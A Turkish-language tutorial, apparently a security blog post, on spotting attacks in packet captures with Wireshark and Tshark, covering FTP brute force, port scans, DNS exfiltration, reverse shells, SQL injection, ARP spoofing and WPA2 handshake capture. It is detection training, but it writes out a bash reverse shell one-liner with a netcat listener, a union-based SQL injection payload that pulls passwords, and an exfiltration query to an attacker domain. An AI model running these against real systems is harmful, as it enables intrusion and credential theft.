Ağ trafiği analizinde uzmanlaşmak için farklı protokollerin ve saldırı türlerinin ağ üzerinde nasıl göründüğünü anlamak gerekir. Bir SOC analisti veya ağ güvenliği uzmanının günlük hayatta karşılaşabileceği farklı tehdit senaryolarını ve bunların Wireshark/Tshark üzerinden nasıl tespit edileceğini aşağıda listeledim:
Senaryo 1: FTP Brute Force (Deneme Yanılma) Saldırısı
Paket Analizi ve Tespit:
Wireshark Filtresi:
ftp.response.code == 530İnceleme: Bu filtreyi uyguladığınızda, aynı kaynak IP adresinden hedefe doğru saniyeler içinde onlarca veya yüzlerce "530" yanıtı döndüğünü görürsünüz. Bu, net bir Brute Force saldırısıdır.
Başarılı Girişi Bulmak: Saldırganın başarılı olup olmadığını görmek için
ftp.response.code == 230(User logged in) filtresi uygulanır. Eğer başarısız denemelerin ardından bir 230 kodu varsa, sistemin ele geçirildiği doğrulanır.
Senaryo 2: Nmap ile TCP SYN Scan (Sessiz Port Taraması)
Paket Analizi ve Tespit:
Wireshark Filtresi:
tcp.flags.syn == 1 and tcp.flags.ack == 0İnceleme: Packet List ekranında tek bir IP adresinden, hedef IP'nin 80, 443, 22, 21, 3306 gibi çok çeşitli portlarına ardı ardına SYN paketleri gittiği görülür. Çok kısa süre içinde gerçekleşen bu yoğun port taraması, bir keşif (reconnaissance) aktivitesini ele verir.
Senaryo 3: ICMP Flood (Ping Tufanı / DoS)
Paket Analizi ve Tespit:
İstatistiksel Bakış: Wireshark'ta
Statistics -> I/O Graphsmenüsü açılır. Trafik grafiğinde aniden yukarı fırlayan devasa bir dalgalanma (Spike) görülür.Wireshark Filtresi:
icmp.type == 8(Sadece Ping istekleri)İnceleme: Paket listesi sadece "Echo (ping) request" paketleriyle doludur. Aynı IP'den (veya Spoof edilmiş, sahte IP'lerden) saniyede binlerce paket geliyorsa ağ bir DoS saldırısı altındadır.
Senaryo 4: DNS Üzerinden Veri Sızdırma (Exfiltration)
c2lmcmVsZXI=). Daha sonra saldırganın kontrolündeki bir domain'e şu şekilde bir DNS sorgusu yapar:c2lmcmVsZXI=.saldirgan-domain.comPaket Analizi ve Tespit:
Tshark Komutu:
tshark -r network_traffic.pcap -Y "dns.flags.response == 0" -T fields -e dns.qry.name
* **İnceleme:** Çıktıda rastgele karakterlerden oluşan (entropy seviyesi yüksek), anormal derecede uzun alt alan adları (subdomain) barındıran DNS istekleri görülür. Normal bir kullanıcının `google.com` veya `microsoft.com` sorgularından farklı olarak, bu uzun metin kümeleri kurumdan çalınan verilerin parçalarıdır. Analist bu alt alan adlarını birleştirip deşifre ederek hangi verilerin çalındığını tespit edebilir.
Başlık: CTF ve Laboratuvar Uygulamaları İçin İdeal: Netcat ile Reverse Shell (Ters Bağlantı) Tespiti
Ağ güvenliği eğitimlerinde ve özellikle CTF (Capture The Flag) yarışmalarında, katılımcıların en çok karşılaştığı durumların başında sızılmış bir sistemden dışarıya açılan komut satırı bağlantıları gelir. Bu senaryo, öğrencilerin veya analistlerin saldırganın sistemde hangi komutları çalıştırdığını adım adım izleyebilmesi için mükemmel bir laboratuvar pratiğidir.
Senaryo 5: Reverse Shell (Ters Bağlantı) Analizi
Olayın Temeli:Güvenlik duvarları (Firewall) genellikle dışarıdan içeriye (Inbound) gelen bağlantıları sıkı denetlerken, içeriden dışarıya (Outbound) giden trafiğe daha toleranslıdır. Bir sisteme sızan saldırgan, kendi bilgisayarından kurbana bağlanmak yerine; kurban makinenin kendi bilgisayarına bağlanmasını sağlar. Buna "Reverse Shell" denir.Senaryonun Gerçekleşmesi:
Saldırgan (Dinleyici): Kendi makinesinde Netcat (nc) aracıyla 4444 numaralı portu dinlemeye başlar:nc -lvnp 4444 Kurban (Zafiyetli Makine): Genellikle zararlı bir e-posta eki veya web zafiyeti üzerinden kurban makinede şu komut çalıştırılır (örneğin bir Linux laboratuvar makinesinde):bash -i >& /dev/tcp/10.0.0.5/4444 0>&1Kurban makine, saldırganın 4444 portuna bir TCP bağlantısı açar ve terminal erişimini saldırgana teslim eder. Saldırgan sistemde
whoami,ls,cat flag.txtgibi komutlar çalıştırır. Bütün bu trafik şifresiz bir şekilde ağ üzerinden akar.Paket Analizi ve Tespit (CTF Yaklaşımı):
Eğer elinizde bu trafiğin kaydedildiği bir PCAP dosyası varsa, saldırganın adımlarını tam olarak yeniden oluşturabilirsiniz.
- 1. Anormal Port Trafiğini Bulmak:Genellikle web (80, 443) veya DNS (53) dışında, standart dışı portlara giden sürekli TCP trafiği şüphelidir.Wireshark Filtresi:
tcp.port == 4444 - 2. Komut Çıktılarını (Cleartext) Okumak:Yakalanan paketlerden birine sağ tıklayıp "Follow -> TCP Stream" seçeneğine tıklandığında, Wireshark bu oturumda gidip gelen tüm veriyi birleştirerek tek bir metin penceresinde sunar.
Örnek TCP Stream Çıktısı:
Plaintextroot@pardus-lab:/# whoamirootroot@pardus-lab:/# ls -latotal 48drwxr-xr-x 1 root root 4096 May 10 14:00 .drwxr-xr-x 1 root root 4096 May 10 13:55 ..-rw-r--r-- 1 root root 38 May 10 14:05 flag.txtroot@pardus-lab:/# cat flag.txtCTF{n3tc4t_r3v3rs3_sh3ll_y4k4l4nd1} - 3. Tshark ile Otomatize Komut Çıkarımı:Öğrencilere sadece komut satırını kullanarak saldırganın komutlarını analiz etmelerini istiyorsanız, Tshark ile o stream'in (örneğin Stream 0) içindeki veriyi hızlıca çektirebilirsiniz:Bash
tshark -r reverse_shell.pcap -q -z follow,tcp,ascii,0Bu komut, PCAP dosyasındaki 0 numaralı TCP oturumunun içeriğini doğrudan terminal ekranına ASCII formatında basar.
Başlık: Web İstismarı (Web Exploitation) Analizi: Ağ Trafiğinde SQL Injection (SQLi) Tespiti
Özellikle CTF yarışmalarında web istismarı görevleri tasarlarken veya bir SOC laboratuvarında web sunucularına yönelik saldırıları incelerken en çok karşılaşılan vakalardan biri veri tabanı enjeksiyonlarıdır.
Saldırganlar, web uygulamasındaki form alanlarına veya URL parametrelerine zararlı SQL sorguları ekleyerek arka plandaki veri tabanından bilgi sızdırmaya çalışırlar. Bu senaryoda, bir SQLi saldırısının ağ paketlerine nasıl yansıdığını ve şüpheli HTTP trafiklerinin nasıl ayıklanacağını inceleyeceğiz.
Senaryo 6: SQL Injection ile Veri Sızıntısı (Data Dump)
http://hedef-site.local/urunler.php?id=1 olan URL'ye şu zararlı "Union-Based SQLi" yükünü (payload) ekler:http://hedef-site.local/urunler.php?id=1' UNION SELECT 1,username,password FROM users--Tarayıcı bu isteği ağa gönderirken URL Encoding (URL kodlama) yapar ve boşluklar %20, tek tırnaklar %27 gibi karakterlere dönüşür.
Paket Analizi ve Tespit (SOC / CTF Yaklaşımı)
Pardus veya benzeri bir Linux laboratuvar ortamında, bu web saldırısına ait PCAP dosyasını analiz ederken şu adımlar izlenir:
Wireshark Filtresi:
http.request.uri contains "%27" or http.request.uri contains "UNION"İnceleme: Bu filtre, URL'sinde tek tırnak (URL kodlanmış hali
%27) veya "UNION" kelimesi geçen tüm HTTP GET/POST isteklerini listeler. Liste aniden çok sayıda karmaşık URL isteğiyle doluyorsa, muhtemelen bir SQLMap taraması gerçekleşiyordur.
admin, 123456, CTF{sql_inj3ct10n_m4st3r} gibi veri tabanından çekilmiş satırlar görünüyorsa, veri sızıntısı (Data Breach) doğrulanır.tshark -r web_attack.pcap -Y 'http.request.method == "GET" and http.request.uri contains "SELECT"' -T fields -e http.request.uri
Bu komut, PCAP içindeki URL'leri süzer ve sadece içinde SELECT komutu geçen hedeflenmiş URI'leri terminal ekranına basar. Çıktı URL kodlu olacağı için (örneğin %20UNION%20SELECT), komutun sonuna bir python URL-decode pipe'ı eklenerek metin tamamen okunabilir hale getirilebilir.
Laboratuvar Kazanımı
Bu senaryo, ağ seviyesinde uygulama katmanı (Katman 7) saldırılarının nasıl tespit edilebileceğini gösterir. Ayrıca siber güvenlik öğrencilerinin "Saldırı web uygulamasında başlar ancak izleri her zaman ağda kalır" konseptini kavraması, URL kodlaması (Encoding) mantığını anlaması ve IDS/IPS sistemlerine (örneğin Suricata) SQLi alarmları (kural seti) yazabilmeleri için harika bir temel oluşturur.
Başlık: Yerel Ağların Sessiz Tehdidi: ARP Zehirlenmesi (ARP Poisoning) ve Ortadaki Adam (MitM) Analizi
SEO Etiketleri: #ARPSpoofing #MitM #Wireshark #AğGüvenliği #SiberGüvenlikLaboratuvarı #SiberSavunma #PardusGuvenlik
Yerel ağlarda (LAN) cihazların birbirleriyle haberleşmesi için sadece IP adresleri yeterli değildir; verinin fiziksel olarak doğru cihaza ulaşabilmesi için hedef cihazın MAC (Media Access Control) adresinin de bilinmesi gerekir. Bu eşleşmeyi sağlayan ARP (Address Resolution Protocol), siber güvenlik dünyasında doğrulamadan yoksun yapısı nedeniyle en çok suistimal edilen protokollerden biridir.
Bu senaryoda, bir saldırganın yerel ağdaki trafiği kendi üzerine nasıl çektiğini (MitM), bu durumun ağ paketlerine nasıl yansıdığını ve Wireshark/Tshark ile bu anomalinin nasıl tespit edileceğini inceleyeceğiz.
1. Olayın Temeli: ARP Protokolünün Güvenlik Zafiyeti
ARP protokolü tasarlanırken bir kimlik doğrulama mekanizması eklenmemiştir. Ağdaki bir cihaz, kendisine hiçbir soru sorulmasa bile ağa "Benim IP adresim X, MAC adresim Y" şeklinde Unsolicited (Talepsiz) ARP Reply paketleri gönderebilir. Cihazlar bu bilgiyi sorgulamadan kabul eder ve yerel ARP önbelleklerini (ARP Cache) günceller.
2. Senaryonun Gerçekleşmesi (Ortadaki Adam - MitM)
Ağ Yapısı:
Kurban (Bilgisayar A): IP:
192.168.1.50| MAC:AA:AA:AA:AA:AA:AAAğ Geçidi (Router / Gateway): IP:
192.168.1.1| MAC:BB:BB:BB:BB:BB:BBSaldırgan (Bilgisayar B): IP:
192.168.1.100| MAC:CC:CC:CC:CC:CC:CC
Saldırı Adımları:
Saldırgan, Kurban'a sürekli olarak şu sahte mesajı gönderir: "Ben 192.168.1.1 (Gateway)'im, yeni MAC adresim CC:CC:CC:CC:CC:CC".
Saldırgan aynı anda Gateway'e de şu sahte mesajı gönderir: "Ben 192.168.1.50 (Kurban)'yim, yeni MAC adresim CC:CC:CC:CC:CC:CC".
Her iki cihaz da ARP tablolarını günceller. Artık Kurban internete çıkmak istediğinde paketleri doğrudan Router'a değil, Saldırgan'ın MAC adresine gönderir. Saldırgan gelen paketleri okur (şifresizse değiştirir) ve ardından Router'a iletir. Trafik tamamen yönlendirildiği için kurban internet kesintisi yaşamaz ve durumun farkına varmaz.
3. Paket Analizi ve Tehdit Avcılığı
Bu saldırı gerçekleşirken ağ üzerinden yüzlerce sahte ARP paketi akacaktır. Wireshark ve Tshark kullanarak bu durumu saniyeler içinde analiz edebiliriz.
A. Wireshark ile Manuel Analiz ve Filtreleme
Wireshark, ağda aynı IP adresi için birden fazla MAC adresi eşleşmesi gördüğünde yerleşik uzman sistemini (Expert Info) devreye sokar.
Temel ARP Filtresi:
arpBu filtre tüm ARP istek ve cevaplarını listeler. Saldırı anında aynı kaynaktan çok kısa sürelerde tekrarlayan yoğun ARP Reply paketleri göze çarpar.
Gelişmiş Anomali Filtresi:
arp.duplicate-address-detectedWireshark'ın en hayat kurtarıcı filtrelerinden biridir. Eğer ağda tek bir IP adresi (özellikle Gateway IP'si) için iki farklı fiziksel MAC adresi iddia ediliyorsa, Wireshark bu paketleri otomatik olarak işaretler. Bu filtre uygulandığında gelen paketler doğrudan bir saldırının kanıtıdır.
B. Tshark ile Komut Satırından Hızlı Tespit
Eğer uzak bir sunucuda veya laboratuvardaki merkezi bir log yönetim sisteminde analiz yapıyorsanız, ağdaki tüm IP-MAC eşleşmelerini listeleyip mükerrer kayıtları (aynı IP'ye atanmış farklı MAC'leri) Tshark ile ayıklayabilirsiniz:
tshark -r network_dump.pcap -Y "arp.opcode == 2" -T fields -e arp.src.proto_ipv4 -e arp.src.hw_mac | sort | uniq
arp.opcode == 2: Sadece ARP cevaplarını (Reply) filtreler.Bu komutun çıktısında, eğer
192.168.1.1IP'sinin karşısında hemBB:BB:BB:BB:BB:BBhem deCC:CC:CC:CC:CC:CCadresleri listeleniyorsa, yerel ağda kesin olarak bir ARP Spoofing saldırısı yürütülmektedir.
4. Savunma Mekanizmaları
Statik ARP Tanımlaması: Kritik sunucularda ve ağ geçitlerinde ARP tabloları dinamik yerine statik (elle) girilebilir. Bu sayede gelen sahte ARP paketleri görmezden gelinir.
Dynamic ARP Inspection (DAI): Akıllı ağ anahtarları (Managed Switch), ağdaki DHCP loglarını inceleyerek hangi IP'nin hangi portta ve MAC adresinde olduğunu bilir. DAI özelliği açıldığında, switch sahte ARP paketlerini daha kurbana ulaşmadan engeller.
Başlık: Kablosuz Ağların Zayıf Noktası: WPA2 Handshake Yakalama ve Çevrimdışı Kırma Analizi
SEO Etiketleri: #WPA2 #SiberGüvenlik #Wireshark #DeauthSaldırısı #CTF #AğAnalizi #Pardus
Siber güvenlik laboratuvarlarında öğrencilere kablosuz ağların çalışma mantığını anlatırken veya CTF yarışmalarında tersine mühendislik görevleri hazırlarken en çok ilgi çeken konulardan biri Wi-Fi (802.11) güvenlik protokolleridir.
Günümüzde en yaygın kullanılan kablosuz şifreleme standartlarından biri olan WPA2, ağa bağlanan cihazların parolalarını havada düz metin olarak uçurmaz; bunun yerine karmaşık bir matematiksel doğrulama süreci kullanır. Ancak bu sürecin kendisi, analiz edildiğinde ağın parolasını ele vermek için yeterli ipucunu barındırır.
Bu senaryoda, bir kablosuz ağa sızma girişiminin (WPA2 Cracking) ağ paketlerine nasıl yansıdığını ve Pardus gibi Linux tabanlı sistemlerde alınan PCAP kayıtlarının Wireshark ile nasıl analiz edileceğini inceleyeceğiz.
1. Olayın Temeli: 4 Yönlü El Sıkışma (4-Way Handshake)
Bir telefon veya bilgisayar, WPA2 korumalı bir modeme (Access Point - AP) bağlanmak istediğinde, parolanın doğruluğunu kanıtlamak için cihaz ve modem arasında 4-Way Handshake (4 Yönlü El Sıkışma) adı verilen dört adet özel paket (EAPOL) değiş tokuş edilir.
Saldırganın tek amacı vardır: Ağ kartını "Monitor" (İzleme) moduna alarak havada uçuşan bu 4 EAPOL paketini yakalamak (PCAP olarak kaydetmek). Bu paketler yakalandıktan sonra saldırganın artık hedef ağın yakınında bulunmasına gerek kalmaz; ele geçirdiği veriyi alıp kendi laboratuvarında deneme-yanılma (Brute Force / Dictionary Attack) yöntemiyle parolayı kırmaya çalışır.
2. Senaryonun Gerçekleşmesi: Deauth (Koparma) Saldırısı
Saldırgan ağ dinlemeye başladığında, içerideki kullanıcılar zaten ağa bağlıdır ve el sıkışma çoktan bitmiştir. Saldırganın bu el sıkışmayı "yeniden" tetiklemesi gerekir.
Dinleme (Monitor Mod): Saldırgan, ortamdaki tüm Wi-Fi trafiğini kaydetmeye başlar.
Koparma (Deauthentication): Saldırgan, modemin kimliğine bürünerek ağdaki meşru istemciye (kurbana) "Bağlantını kopardım, çıkış yap" anlamına gelen sahte Deauth (Deauthentication) yönetim çerçeveleri gönderir.
Yeniden Bağlanma ve Yakalama: Kurbanın cihazı saniyeliğine Wi-Fi'dan kopar ve hemen (kullanıcı fark etmeden) ağa otomatik olarak yeniden bağlanmaya çalışır. Bu yeniden bağlanma anında 4-Way Handshake gerçekleşir ve dinlemede olan saldırgan bu paketleri yakalar.
3. Paket Analizi ve Tehdit Avcılığı (Wireshark & Tshark)
Bir kurumun hava sahasında böyle bir saldırı yaşanıp yaşanmadığını kablosuz ağ kayıtlarını inceleyerek tespit edebiliriz.
A. Deauth Saldırısını Tespit Etmek
Saldırganın kurbanı ağdan düşürmek için gönderdiği sahte çerçeveleri bulmak için Wireshark'ta şu filtre kullanılır:
Filtre:
wlan.fc.type_subtype == 0x000cİnceleme: Normal bir ağda cihazlar kendi istekleriyle ağdan ayrılırken tek tük Deauth paketleri görülebilir. Ancak bu filtreyi uyguladığınızda, aynı kaynağa doğru saniyeler içinde yüzlerce Deauth paketi (Frame) atıldığını görüyorsanız, biri ağınızda aktif olarak koparma saldırısı yapıyor demektir.
B. Çalınan Handshake Paketlerini Görmek
Kurban ağa yeniden bağlanırken gerçekleşen el sıkışma paketlerini ayıklamak için EAPOL protokolü filtrelenir.
Filtre:
eapolİnceleme: Paket listesinde sırasıyla
Message 1 of 4,Message 2 of 4,Message 3 of 4veMessage 4 of 4yazan paketler görülür. Eğer bu 4 paketin tamamı veya kritik olan ilk ikisi eksiksiz yakalanmışsa, saldırgan amaca ulaşmış ve parolayı çevrimdışı kırmak için yeterli veriyi (Hash değerlerini) toplamış demektir.Tshark ile Otomatize Kontrol: Elinizdeki devasa bir kablosuz PCAP dosyasında Handshake olup olmadığını hızlıca kontrol etmek için:
Bashtshark -r wifi_capture.pcap -Y "eapol"
4. Sonuç ve Kırma Aşaması (Offline Cracking)
Handshake yakalandıktan sonra iş ağdan çıkar, kriptografi aşamasına geçer. Saldırgan yakaladığı bu .pcap dosyasını Hashcat veya Aircrack-ng gibi araçlara yükler. Elindeki geniş sözlük dosyalarındaki (wordlist) kelimeleri matematiksel formüllerden geçirerek, yakaladığı EAPOL paketlerindeki hash değeriyle eşleşip eşleşmediğini kontrol eder. Eşleşme sağlandığında Wi-Fi parolası düz metin olarak ekrana düşer.
Aşağıdaki simülasyon üzerinden WPA2 ağlarındaki normal bağlantı süreci ile Deauth saldırısı arasındaki farkı, paketlerin havada nasıl yakalandığını görsel olarak inceleyebilirsiniz.
Ağ analizinde temel protokol zafiyetlerini (ARP, FTP, HTTP, SQLi, WPA2) genel hatlarıyla inceledik.
Yorumlar